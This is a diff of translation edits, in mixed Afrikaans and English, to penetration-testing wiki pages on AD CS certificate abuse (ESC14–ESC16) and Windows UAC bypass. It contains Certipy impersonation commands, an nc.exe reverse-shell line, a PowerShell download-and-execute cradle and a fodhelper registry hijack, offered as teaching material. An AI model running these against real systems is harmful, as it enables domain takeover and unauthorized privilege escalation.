+- **Voorvereiste**: Die teiken het 'n swak X509SubjectOnly eksplisiete koppeling in `altSecurityIdentities`. Die aanvaller kan die `cn` of `dNSHostName` attribuut op 'n slagoffer-prinsipaal stel om by die onderwerp van die teiken se X509SubjectOnly-koppeling te pas. Daarna kan die aanvaller 'n sertifikaat as die slagoffer registreer en daardie sertifikaat gebruik om as die teiken te autentiseer.
 
 ### konkrete operasies
 #### Scenario A
@@ -747,7 +747,7 @@ Stoor en omskep die sertifikaat
 ```bash
 certutil -MergePFX .\esc13.pem .\esc13.pfx
 ```
-Verifieer (met die sertifikaat)
+Outentiseer (met die sertifikaat)
 ```bash
 .\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
 ```
@@ -757,25 +757,25 @@ Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,D
 ```
 For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
-## EKUwu Toepassingsbeleide (CVE-2024-49019) - ESC15
+## EKUwu Aansoekbeleid (CVE-2024-49019) - ESC15
 
 ### Verduideliking
 
-Die beskrywing by https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is buitengewoon deeglik. Hieronder is 'n aanhaling van die oorspronklike teks.
+Die beskrywing by https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is uiters deeglik. Hieronder is 'n aanhaling van die oorspronklike teks.
 
 Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
 
 ### Misbruik
 
-Die volgende verwys na [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Klik om meer gedetailleerde gebruiksmetodes te sien.
+The following is referenced to [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
 
-Die `find`-opdrag van Certipy kan help om V1-sjablone te identifiseer wat moontlik vatbaar is vir ESC15 indien die CA nie gepatch is nie.
+Certipy se `find` opdrag kan help om V1-sjablone te identifiseer wat moontlik vatbaar is vir ESC15 as die CA nie gepatch is nie.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
-#### Scenario A: Direkte nabootsing via Schannel
+#### Scenario A: Direkte impersonasie via Schannel
 
-**Stap 1: Versoek 'n sertifikaat en voeg die Application Policy "Client Authentication" en teiken UPN in.** Aanvaller `attacker@corp.local` teiken `administrator@corp.local` deur die "WebServer" V1 template te gebruik (wat enrollee-supplied subject toelaat).
+**Step 1: Versoek 'n sertifikaat en injekteer die "Client Authentication" Application Policy en die teiken-UPN.** Aanvaller `attacker@corp.local` teiken `administrator@corp.local` deur die "WebServer" V1-sjabloon (wat 'n deur die inskrywer verskafde subject toelaat).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -784,17 +784,17 @@ certipy req \
 -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
 -application-policies 'Client Authentication'
 ```
-- `-template 'WebServer'`: Die kwesbare V1-sjabloon met "Inskrywer verskaf onderwerp".
+- `-template 'WebServer'`: Die kwesbare V1-sjabloon met "Enrollee supplies subject".
-- `-application-policies 'Client Authentication'`: Voeg die OID `1.3.6.1.5.5.7.3.2` by die Application Policies-uitbreiding van die CSR.
+- `-application-policies 'Client Authentication'`: Inspuit die OID `1.3.6.1.5.5.7.3.2` in die Application Policies-uitbreiding van die CSR.
 - `-upn 'administrator@corp.local'`: Stel die UPN in die SAN vir impersonasie.
 
-**Stap 2: Verifieer via Schannel (LDAPS) met die verkrygde sertifikaat.**
+**Stap 2: Outentiseer via Schannel (LDAPS) met behulp van die verkrygde sertifikaat.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
 #### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Stap 1: Versoek 'n sertifikaat van 'n V1-sjabloon (met "Enrollee supplies subject"), deur die "Certificate Request Agent" Application Policy in te spuit.** Hierdie sertifikaat is bedoel vir die aanvaller (`attacker@corp.local`) om 'n enrollment agent te word. Geen UPN word hier vir die aanvaller se eie identiteit gespesifiseer nie, aangesien die doel die agentvermoë is.
+**Stap 1: Versoek 'n sertifikaat van 'n V1-sjabloon (met "Enrollee supplies subject"), deur die "Certificate Request Agent" Application Policy in te spuit.** Hierdie sertifikaat is vir die aanvaller (`attacker@corp.local`) om 'n enrollment agent te word. Geen UPN word hier vir die aanvaller se eie identiteit gespesifiseer nie, aangesien die doel die agent-vermoë is.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -804,7 +804,7 @@ certipy req \
 ```
 - `-application-policies 'Certificate Request Agent'`: Voeg OID `1.3.6.1.4.1.311.20.2.1` in.
 
-**Stap 2: Gebruik die "agent" certificate om 'n certificate aan te vra namens 'n geteikende bevoorregte gebruiker.** Dit is 'n ESC3-like stap, wat die certificate van Stap 1 as die agent certificate gebruik.
+**Stap 2: Gebruik die "agent" sertifikaat om namens 'n geteikende bevoorregte gebruiker 'n sertifikaat aan te vra.** Dit is 'n ESC3-like stap, wat die sertifikaat van Stap 1 as die agent-sertifikaat gebruik.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -812,87 +812,88 @@ certipy req \
 -ca 'CORP-CA' -template 'User' \
 -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
 ```
-**Stap 3: Outentiseer as die bevoorregte gebruiker met die "on-behalf-of" sertifikaat.**
+**Stap 3: Authentiseer as die bevoorregte gebruiker met die "on-behalf-of" sertifikaat.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
-## Sekuriteitsuitbreiding gestrem op CA (Globaal)-ESC16
+## Sekuriteitsuitbreiding Gedeaktiveer op CA (Globaal)-ESC16
 
 ### Verduideliking
 
-**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** verwys na 'n scenario waar, indien die konfigurasie van AD CS nie afdwing dat die **szOID_NTDS_CA_SECURITY_EXT**-uitbreiding in alle sertifikate ingesluit word nie, 'n aanvaller dit kan uitbuit deur:
+**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** verwys na die scenario waar, indien die konfigurasie van AD CS nie die insluiting van die **szOID_NTDS_CA_SECURITY_EXT** uitbreiding in alle sertifikate afdwing nie, 'n aanvaller dit kan uitbuit deur:
 
-1. Versoek 'n sertifikaat **sonder SID binding**.
+1. 'n sertifikaat versoek **sonder SID binding**.
 
-2. Gebruik hierdie sertifikaat **vir outentisering as enige rekening**, soos om 'n hoë-privilege-rekening voor te gee (bv. 'n Domeinadministrateur).
+2. Hierdie sertifikaat gebruik **vir verifikasie as enige rekening**, soos die nadoen van 'n hoë-privilege rekening (bv. a Domain Administrator).
 
-Jy kan ook na hierdie artikel verwys om meer oor die gedetaileerde beginsel te leer:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
+Jy kan ook na hierdie artikel verwys om meer te leer oor die gedetaileerde beginsel: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
 ### Misbruik
 
-Die volgende verwys na [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Klik om meer gedetaileerde gebruiksmetodes te sien.
+Die volgende verwys na [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), Click to see more detailed usage methods.
 
-Om te identifiseer of die Active Directory Certificate Services (AD CS) omgewing vatbaar is vir **ESC16**
+Om te identifiseer of die Active Directory Certificate Services (AD CS) omgewing kwesbaar is vir **ESC16**
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Step 1: Lees aanvanklike UPN van die slagofferrekening (Opsioneel - vir herstel).**
+**Stap 1: Lees aanvanklike UPN van die slagofferrekening (Opsioneel - vir herstel).
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -user 'victim' \
 read
 ```
-**Stap 2: Werk die slagofferrekening se UPN by na die teikenadministrateur se `sAMAccountName`.**
+**Stap 2: Werk die UPN van die slagofferrekening by na die `sAMAccountName` van die teiken-administrateur.**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Stap 3: (Indien nodig) Verkry credentials vir die "victim" rekening (bv. via Shadow Credentials).**
+**Stap 3: (Indien nodig) Verkry credentials vir die "victim" account (bv., via Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Stap 4: Versoek 'n sertifikaat as die "victim" gebruiker vanaf _enige geskikte kliëntverifikasie-sjabloon_ (bv. "User") op die ESC16-kwesbare CA.** Omdat die CA kwesbaar is vir ESC16, sal dit outomaties die SID-sekuriteitsuitbreiding uit die uitgereikte sertifikaat weglaat, ongeag die sjabloon se spesifieke instellings vir hierdie uitbreiding. Stel die Kerberos credential cache-omgewingsveranderlike (shell-opdrag):
+**Stap 4: Versoek 'n sertifikaat as die "victim" gebruiker vanaf _enige geskikte kliënt-authentiseringssjabloon_ (bv. "User") op die ESC16-vulnerable CA.** Omdat die CA kwesbaar is vir ESC16, sal dit outomaties die SID security extension uit die uitgereikte sertifikaat weglate, ongeag die sjabloon se spesifieke instellings vir hierdie uitbreiding. Stel die Kerberos credential cache omgewingsveranderlike (shell-opdrag):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
-Vra dan die sertifikaat aan:
+Versoek dan die sertifikaat:
 ```bash
 certipy req \
 -k -dc-ip '10.0.0.100' \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
 ```
-**Stap 5: Herstel die UPN van die "slagoffer"-rekening.**
+**Stap 5: Herstel die UPN van die "victim"-rekening.**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
 -user 'victim' update
 ```
-**Stap 6: Meld aan as die teiken-administrateur.**
+**Stap 6: Verifieer as die geteikende administrateur.**
 ```bash
 certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Kompromittering van forests met sertifikate — verduidelik in passiewe vorm
+## Kompromittering van foreste met sertifikate, verduidelik in lydende vorm
 
-### Breek van forest-trusts deur gekompromitteerde CAs
+### Breuk van bosvertroue deur gekompromitteerde CAs
 
-Die konfigurasie vir **cross-forest enrollment** word relatief eenvoudig gemaak. Die **root CA-sertifikaat** van die resource forest word deur administrateurs **gepubliseer na die account forests**, en die **enterprise CA**-sertifikate van die resource forest word **bygevoeg tot die `NTAuthCertificates` en AIA containers in elke account forest**. Om dit te verduidelik, gee hierdie reëlings die **CA in die resource forest volledige beheer** oor alle ander forests waarvoor dit PKI bestuur. Indien hierdie CA **deur aanvallers gekompromitteer word**, kan sertifikate vir alle gebruikers in beide die resource en account forests deur hulle **vervals word**, waardeur die sekuriteitsgrens van die forest gebreek word.
+Die konfigurasie vir **cross-forest enrollment** word relatief eenvoudig gemaak. Die **root CA certificate** van die resource forest word deur administrateurs **published to the account forests**, en die **enterprise CA** certificates van die resource forest word **added to the `NTAuthCertificates` and AIA containers in each account forest**. Ter verduideliking, hierdie reël verleen die **CA in the resource forest complete control** oor alle ander foreste waarvoor dit PKI bestuur. As hierdie CA deur aanvallers **compromised by attackers** sou word, kon sertifikate vir alle gebruikers in beide die resource- en account-foreste deur hulle **forged by them** word, en sodoende die sekuriteitsgrens van die bos gebreek word.
 
-### Inskrywingsprivilege wat aan vreemde principals gegee word
+### Inskripsiebevoegdhede wat aan foreign principals toegeken word
 
-In multi-forest-omgewings is versigtigheid nodig met betrekking tot Enterprise CAs wat **sertifikaattemplates publiseer** wat **Authenticated Users of foreign principals** (gebruikers/groepe buite die forest waartoe die Enterprise CA behoort) **inskrywings- en wysigingsregte** toelaat.\
+In multi-forest omgewings moet daar versigtigheid toegepas word ten opsigte van Enterprise CAs wat **publish certificate templates** wat **Authenticated Users or foreign principals** (gebruikers/groepe ekstern tot die bos waaraan die Enterprise CA behoort) **enrollment and edit rights** toelaat.\
-By outentisering oor 'n trust word die **Authenticated Users SID** deur AD by die gebruiker se token gevoeg. Dus, as 'n domein 'n Enterprise CA het met 'n template wat **Authenticated Users inskrywingsregte toelaat**, kan 'n template moontlik **deur 'n gebruiker van 'n ander forest ingeskryf word**. Net so, as **inskrywingsregte eksplisiet aan 'n foreign principal deur 'n template gegee word**, word 'n **cross-forest access-control relationship** daardeur geskep, wat 'n principal van een forest in staat stel om **in 'n template van 'n ander forest in te skryf**.
+By authentisering oor ’n trust heen word die **Authenticated Users SID** deur AD by die gebruiker se token gevoeg. Dus, as ’n domein ’n Enterprise CA besit met ’n template wat **allows Authenticated Users enrollment rights**, kan ’n template moontlik deur ’n gebruiker van ’n ander bos **enrolled in by a user from a different forest** word. Net so, as **enrollment rights are explicitly granted to a foreign principal by a template**, word daarmee ’n **cross-forest access-control relationship is thereby created** geskep, wat ’n principal van een bos in staat stel om **enroll in a template from another forest**.
+
+Beide scenario’s lei tot ’n groter aanvalsvlak van een bos na ’n ander. Die instellings van die certificate template kan deur ’n aanvaller uitgebuit word om addisionele voorregte in ’n vreemde domein te verkry.
 
-Albei scenario's lei tot 'n **toename in die attack surface** van een forest na 'n ander. Die instellings van die sertifikaattemplate kan deur 'n aanvaller uitgebuit word om bykomende voorregte in 'n vreemde domein te bekom.
 
 ## References
 

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n funksie wat 'n **consent prompt for elevated activities** moontlik maak. Toepassings het verskillende `integrity`-vlakke, en 'n program met 'n **high level** kan take uitvoer wat **could potentially compromise the system**. Wanneer UAC aangeskakel is, hardloop toepassings en take altyd **onder die security context of a non-administrator account** tensy 'n administrateur uitdruklik hierdie toepassings/take magtig om op administrateurvlak op die stelsel te hardloop. Dit is 'n geriefsfunksie wat administrateurs teen onbedoelde veranderinge beskerm, maar word nie as 'n security boundary beskou nie.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.
 
 For more info about integrity levels:
 
@@ -13,9 +13,9 @@ For more info about integrity levels:
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-Wanneer UAC in plek is, kry 'n administrateurgebruiker 2 tokens: 'n standaard user token om gewone handelinge op gewone vlak uit te voer, en een met die admin privileges.
+Wanneer UAC in plek is, kry 'n administrateurgebruiker twee tokens: 'n standaardgebruikertoken om gewone aksies op gewone vlak uit te voer, en een met die admin-bevoegdhede.
 
-Hierdie [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bespreek in groot diepte hoe UAC werk en sluit die logon process, user experience, en UAC architecture in. Administrateurs kan sekuriteitsbeleid gebruik om te konfigureer hoe UAC in hul organisasie werk op plaaslike vlak (gebruik secpol.msc), of gekonfigureer en via Group Policy Objects (GPO) in 'n Active Directory domeinomgewing uitgerol word. Die verskillende instellings word in detail bespreek [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Daar is 10 Group Policy settings wat vir UAC gestel kan word. Die volgende tabel bied addisionele besonderhede:
+This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discusses how UAC works in great depth and includes the logon process, user experience, and UAC architecture. Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment. The various settings are discussed in detail [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). There are 10 Group Policy settings that can be set for UAC. The following table provides additional detail:
 
 | Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
@@ -44,47 +44,47 @@ Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to hi
 
 You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
 
-### Kontroleer UAC
+### Check UAC
 
-Om te bevestig of UAC aangeskakel is doen:
+Om te bevestig of UAC aangeskakel is, doen:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-As dit **`1`** is, is UAC **geaktiveer**, as dit **`0`** is of dit nie bestaan nie, dan is UAC **inaktief**.
+As dit **`1`** is, dan is UAC **geaktiveer**; as dit **`0`** is of dit **nie bestaan** nie, dan is UAC **inaktief**.
 
-Kyk dan watter **vlak** gekonfigureer is:
+Kontroleer dan **watter vlak** gekonfigureer is:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- If **`0`** then, UAC won't prompt (like **uitgeskakel**)
+- As **`0`**, sal UAC nie 'n prompt vertoon nie (soos **gedeaktiveer**)
-- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
+- As **`1`** word die admin **gevra vir gebruikersnaam en wagwoord** om die binêre met hoë regte uit te voer (on Secure Desktop)
-- If **`2`** (**Altyd waarsku my**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
+- As **`2`** (**Always notify me**) sal UAC altyd bevestiging van die administrator vra wanneer hy probeer iets met hoë voorregte uitvoer (on Secure Desktop)
-- If **`3`** like `1` but not necessary on Secure Desktop
+- As **`3`** soos `1` maar nie nodig op Secure Desktop nie
-- If **`4`** like `2` but not necessary on Secure Desktop
+- As **`4`** soos `2` maar nie nodig op Secure Desktop nie
-- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
+- As **`5`** (**default**) sal dit die administrator vra om te bevestig om nie-Windows-binêre met hoë voorregte uit te voer
 
-Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
+Dan moet jy kyk na die waarde van **`LocalAccountTokenFilterPolicy`**\
-If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
+As die waarde **`0`** is, dan kan slegs die **RID 500** gebruiker (**built-in Administrator**) **admin take sonder UAC** uitvoer, en as dit `1` is, kan **alle rekeninge in die "Administrators"** groep dit doen.
 
-And, finally take a look at the value of the key **`FilterAdministratorToken`**\
+En uiteindelik kyk na die waarde van die sleutel **`FilterAdministratorToken`**\
-If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
+As **`0`** (default), kan die **built-in Administrator account** remote administration tasks doen en as **`1`** kan die ingeboude Administratorrekening **nie** remote administration tasks doen nie, tensy `LocalAccountTokenFilterPolicy` op `1` gestel is.
 
 #### Summary
 
-- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
+- As `EnableLUA=0` of **bestaan nie**, **geen UAC vir enigiemand nie**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
+- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=1`**, **geen UAC vir enigiemand nie**
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
+- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=0` en `FilterAdministratorToken=0`**, geen UAC vir RID 500 (Built-in Administrator)
-- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
+- As `EnableLua=1` en **`LocalAccountTokenFilterPolicy=0` en `FilterAdministratorToken=1`**, UAC vir almal
 
-All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
+Al hierdie inligting kan ingesamel word met die **metasploit** module: `post/windows/gather/win_privs`
 
-You can also check the groups of your user and get the integrity level:
+Jy kan ook die groepe van jou gebruiker nagaan en die integriteitsvlak kry:
 ```
 net user %username%
 whoami /groups | findstr Level
@@ -92,15 +92,15 @@ whoami /groups | findstr Level
 ## UAC bypass
 
 > [!TIP]
-> Neem kennis dat as jy grafiese toegang tot die slagoffer het, UAC bypass baie eenvoudig is, aangesien jy net op "Yes" kan klik wanneer die UAC-prompt verskyn
+> Neem kennis dat as jy grafiese toegang tot die slagoffer het, UAC bypass reguit is aangesien jy eenvoudig op "Yes" kan klik wanneer die UAC-prompt verskyn
 
-Die UAC bypass is nodig in die volgende situasie: **die UAC is geaktiveer, jou proses loop in 'n medium integrity context, en jou gebruiker is lid van die administrators group**.
+Die UAC bypass is nodig in die volgende situasie: **die UAC is geaktiveer, jou proses loop in 'n medium integrity'-konteks, en jou gebruiker behoort tot die administrators group**.
 
-Dit is belangrik om te noem dat dit **veel moeiliker is om die UAC te omseil as dit op die hoogste sekuriteitsvlak (Always) is as wanneer dit op enige van die ander vlakke (Default) is.**
+Dit is belangrik om te noem dat dit **veel moeiliker is om die UAC te bypass as dit op die hoogste sekuriteitsvlak (Always) gestel is as wanneer dit in enige van die ander vlakke (Default) is.**
 
-### UAC uitgeschakel
+### UAC disabled
 
-Indien UAC reeds uitgeschakel is (`ConsentPromptBehaviorAdmin` is **`0`**) kan jy **execute a reverse shell with admin privileges** (high integrity level) uitvoer deur iets soos:
+As UAC reeds uitgeschakel is (`ConsentPromptBehaviorAdmin` is **`0`**) kan jy **execute a reverse shell with admin privileges** (high integrity level) gebruik met iets soos:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -111,9 +111,9 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
 - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
 
-### **Baie** Basiese UAC "bypass" (volle toegang tot die file system)
+### **Baie** Basiese UAC "bypass" (volle toegang tot die lêerstelsel)
 
-As jy 'n shell het met 'n gebruiker wat binne die Administrators group is, kan jy die gedeelde **C$** via SMB (file system) plaaslik op 'n nuwe skyf mount en sal jy **toegang tot alles binne die file system** hê (selfs die Administrator home folder).
+As jy 'n shell het met 'n gebruiker wat in die Administrators-groep is, kan jy die gedeelde **C$** via SMB plaaslik op 'n nuwe skyf mount en jy sal **toegang tot alles in die lêerstelsel** hê (selfs die Administrator-tuismap).
 
 > [!WARNING]
 > **Dit lyk asof hierdie truuk nie meer werk nie**
@@ -126,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
 ### UAC bypass met cobalt strike
 
-Die Cobalt Strike-tegnieke sal slegs werk as UAC nie op sy maksimum veiligheidsvlak gestel is nie.
+Die Cobalt Strike-tegnieke sal slegs werk as UAC nie op sy maksimum sekuriteitsvlak ingestel is nie
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -142,14 +142,14 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 
 ### KRBUACBypass
 
-Dokumentasie en hulpmiddel by [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
+Dokumentasie en hulpmiddel in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) wat 'n **samestelling** van verskeie UAC bypass exploits is. Let wel dat jy **UACME moet compileer met visual studio of msbuild**. Die samestelling sal verskeie uitvoerbare lêers skep (soos `Source\Akagi\outout\x64\Debug\Akagi.exe`), jy sal moet weet **watter een jy nodig het.**\
+[**UACME** ](https://github.com/hfiref0x/UACME) wat 'n **compilation** is van verskeie UAC bypass exploits. Let wel: jy sal moet **compile UACME using visual studio or msbuild**. Die compilation sal verskeie uitvoerbare lêers skep (soos `Source\Akagi\outout\x64\Debug\Akagi.exe`) , jy sal moet weet **which one you need.**\
-Jy moet **versigtig wees** omdat sommige bypasses **ander programme sal laat reageer** wat die **gebruiker** sal **waarsku** dat iets aan die gang is.
+Jy moet **be careful** omdat sommige bypasses **prompt some other programs** wat die **user** sal **alert** dat iets gebeur.
 
-UACME het die **build-weergawe waarvan elke tegniek begin werk het**. Jy kan soek na 'n tegniek wat jou weergawes beïnvloed:
+UACME het die **build version from which each technique started working**. Jy kan soek na 'n tegniek wat jou weergawes beïnvloed:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -157,17 +157,17 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Ook, deur [this](https://en.wikipedia.org/wiki/Windows_10_version_history) bladsy te gebruik, kry jy die Windows-uitgawe `1607` uit die build-weergawes.
+Ook, deur [this](https://en.wikipedia.org/wiki/Windows_10_version_history) bladsy te gebruik, kry jy die Windows-vrystelling `1607` uit die build-weergawes.
 
 ### UAC Bypass – fodhelper.exe (Registry hijack)
 
-Die vertroude binêr `fodhelper.exe` word outo-verhoog op moderne Windows. Wanneer dit gestart word, vra dit die per-gebruiker-registerpad hieronder op sonder om die `DelegateExecute` werkwoord te valideer. Om 'n opdrag daar te plaas laat 'n Medium Integrity-proses (gebruiker is in Administrators) toe om 'n High Integrity-proses te skep sonder 'n UAC-prompt.
+Die vertroude binary `fodhelper.exe` word outomaties verhoog op moderne Windows. Wanneer dit gestart word, vra dit die per-user registry-pad hieronder op sonder om die `DelegateExecute` verb te valideer. Deur 'n opdrag daar te plant, kan 'n Medium Integrity-proses (gebruiker is in Administrators) 'n High Integrity-proses spawn sonder 'n UAC-prompt.
 
-Registerpad wat deur fodhelper opgevra word:
+Registry path queried by fodhelper:
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
-PowerShell stappe (stel jou payload, dan trigger):
+PowerShell stappe (stel jou payload in, dan trigger):
 ```powershell
 # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
 C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@@ -187,46 +187,46 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
 Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
 ```
 Aantekeninge:
-- Werk wanneer die huidige gebruiker 'n lid is van Administrators en UAC vlak is standaard/toegeeflik (nie Always Notify met ekstra beperkings nie).
+- Werk wanneer die huidige gebruiker 'n lid is van Administrators en die UAC-vlak is standaard/lins (nie Always Notify met ekstra beperkings nie).
 - Gebruik die `sysnative` pad om 'n 64-bit PowerShell vanaf 'n 32-bit proses op 64-bit Windows te start.
 - Payload kan enige opdrag wees (PowerShell, cmd, of 'n EXE-pad). Vermy prompting UIs vir stealth.
 
-#### Meer UAC bypass
+#### Meer UAC-omseiling
 
-**All** die tegnieke wat hier gebruik word om AUC te omseil **require** 'n **full interactive shell** met die teiken ( 'n gewone nc.exe shell is nie genoeg nie).
+**All** die tegnieke wat hier gebruik word om AUC te omseil **vereis** 'n **volle interaktiewe shell** met die slagoffer ( 'n algemene nc.exe shell is nie genoeg nie).
 
-You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
+Jy kan dit kry deur 'n **meterpreter** session te gebruik. Migreer na 'n **process** wat die **Session** waarde gelyk is aan **1**:
 
 ![](<../../images/image (863).png>)
 
 (_explorer.exe_ behoort te werk)
 
-### UAC Bypass met GUI
+### UAC-omseiling met GUI
 
